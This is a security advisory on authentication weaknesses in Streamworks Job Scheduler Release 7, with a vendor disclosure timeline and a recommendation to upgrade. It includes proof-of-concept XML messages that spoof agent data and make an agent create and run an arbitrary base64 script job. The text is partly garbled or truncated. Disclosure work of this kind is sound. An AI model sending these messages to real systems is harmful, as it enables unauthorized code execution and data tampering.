Streamworks Job Scheduler Release 7 Authentication Weakness

Streamworks Job Scheduler Release 7 has all agents using the same X.509 certificates and keys issued by the vendor for authentication. The processing server component does not check received messages properly for authenticity. Agents installed on servers do not check received messages properly for authenticity. Agents and processing servers are vulnerable to the TLS Heartbleed attack.

MD5 | 253a22be9295e34bd04d4090fefbc845

Affected Products
Streamworks Job Scheduler Release 7 (older/newer releases have not
been tested)

Secuvera-SA-2016-01 (used for
No CVE number could be assigned (vendor not listed under

Arvato Systems Streamworks Job Scheduler is a software product for
automation purposes. It helps
"to plan, maintain, control and monitor all of your automatable IT
processes" (source: vendor product
homepage). It consists of different types of services: an
application server daemon, a processing
server daemon that controls one or multiple agent daemins
installed on operating servers were workload
has to be done.

During a penetration test at a customers site three weaknesses
concerning communication
authentication were discovered:

1) All agents installed on server systems use the same X.509
certificates and private key that
were issued by the vendor for authentication.

2) The processing server component does not check received
messages properly for authenticity.

3) Agents installed on servers do not check received messages
properly for authenticity

4) Agents and processing servers are vulnerable against TLS
Heartbleed attack (CVE-2014-0160 -

1) If systems were compromised and authentication material is
stolen, all certificates have to be
revoked and replaced. In addition, this expands the effect of
3) to the entire environment,
not just single systems.

2) An attacker with knwolegde of the message syntax of the product
and the authentication material
is able to add, change or delete data within the Streamworks database.

3) An attacker with knowledge of the message syntax of the product
and the authentication material
is able to create new or execute available jobs on servers with
agents installed located within
the same network. This can lead to a complete loss of integrity,
confidentiality or availability
of the respective system or data stored/processed on it.

4) An unauthenticated remote attacker is able to read content
within system memory.

Vulnerable components and scripts:
Streamworks Job Scheduler Processing Server Release 7.1
Streamworks Job Scheduler Agent Release 7.1
older releases have not been tested

In the following, a sample to exploit 2) and 3) will be given.
Replace Information within squared

2) By sending a the following XML-Message to a Processing server
it is possible to change system
information of a legitimate configured client as proof-of-concept.
The System OS Info was slightly

<AgentNotifyStarted ProcessId="7044" AgentVersion="3.1.36">
<ComHeader Version="1.0">
<SourceEndpoint Address="" Port="30000" SysId="[Hostname of
legitimate Client]" />
<DestinationEndpoint Address="[FQDN of Processing server]"
Port="9600" SysId="[FQDN of Proces
sing server]" />
<OsInfo>Pentest Windows!</OsInfo>
<FileTransferOptions Mode="ALL" BlockSize="0" />
<Cli CliOptions="Enabled" />


3) By sending a XML-Message of the following type to create and
execute a new job on a system
<ComHeader Version="0.1">
<SourceEndpoint Address="[FQDN of processing server]"
Port="9600" SysId="[FQDN of processing
server]" />
<DestinationEndpoint Address="[IP of Server with agent
installed]" Port="30000" SysId="[Hostname of
server with agent installed]" />
<JobInfo ServerJobId="118291965_1" ExecutionNo="1"
StreamName="[NewStreamName]" JobName="[NewJobName]" Run="1" />
<UserName>[Username under which the agent should run the
Script, e.g. LOCAL\System]</UserName>
<Password>[Add Password of the user if needed]</Password>
<MainScript>[base64-encoded Script code, e.g.
to start a notepad.exe on a Windows Host]</MainScript>

Install Streamworks Release 9.3

( - page available
german only)

Disclosure Timeline:
2016/05/12 vulnerabilities discovered
2016/05/30 vendor initially contacted
2016/06/13 sales representative replied
2016/06/14 technically responsible contact details received
2016/07/01 technical personnel contacted, appointment to discuss
findings made
2016/07/11 submitted technical details to responsible personnel
2016/07/12 responsible product manager replied. Committed to
extend disclosure timeline due to
comprehensible reasons. New disclosure timeline: end of
September 2016
2016/09/08 product manager replied, suggest meeting to discuss fixes
2016/09/27 meeting took place, half of the vulnerabilities were
fixed. Timeline until disclosure extended
again due to difficult changes. Disclosure timeline
extended to end of April 2017
2017/04/20 Contacted vendor again to remind of the near end of the
disclosure timeline.
2017/04/27 Reply and ongoing discussion about when the fix will be shipped.
2017/05/20 Vendor replied that due to customers experience fewer
releases were made. The fix will be shipped
on the second quarter of 2018. Extended disclosure
timeline until the end of June 2018.
2018/04/03 Contacted vendor as reminder and to get a release ship date.
2018/04/09 Vendor replied saying that within release 9.3 (shipped
on 2nd quarter 2018) the issues will be fixed
Final disclosure timeline: 2019/01/14 after a
sufficient grace period to customers to install the fixed
2019/01/14 public advisory disclosure

Simon Bieber, secuvera GmbH
[email protected]

All information is provided without warranty. The intent is to
provide informa-
tion to secure infrastructure and/or systems, not to be able to
attack or damage.
therefore secuvera shall not be liable for any direct or indirect
damages that
might be caused by using this information.

Related Posts